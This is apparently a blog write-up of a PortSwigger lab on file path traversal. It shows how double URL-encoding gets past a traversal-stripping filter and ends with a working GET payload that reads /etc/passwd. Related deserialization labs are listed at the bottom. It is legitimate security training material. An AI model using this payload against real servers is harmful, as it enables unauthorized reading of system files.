On this page
apsyleg1 min read
#portswigger #path-traversal #web-security
File Path Traversal: Bypassing Traversal Stripping with Double URL-Encoding
Lab
File path traversal, traversal sequences stripped with superfluous URL-decode · Practitioner
Solution
Given
This lab contains a path traversal vulnerability in the display of product images.
The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.
To solve the lab, retrieve the contents of the /etc/passwd file.
Analysis and recon
Same as the previous lab, except this time we have to use URL-encoding and try replacing ../ with %2e%2e%2f. Or even double encoding: ../ → %2e%2e%2f → %252e%252e%252f.
We try the payload with %2e%2e%2f — didn't work.
Then double encoding — worked.
Final payload
GET /image?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
More in this category
Arbitrary Object Injection in PHP (PortSwigger Lab)
Recovering leaked source code and injecting a serialized CustomTemplate object whose __destruct deletes an arbitrary file.
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.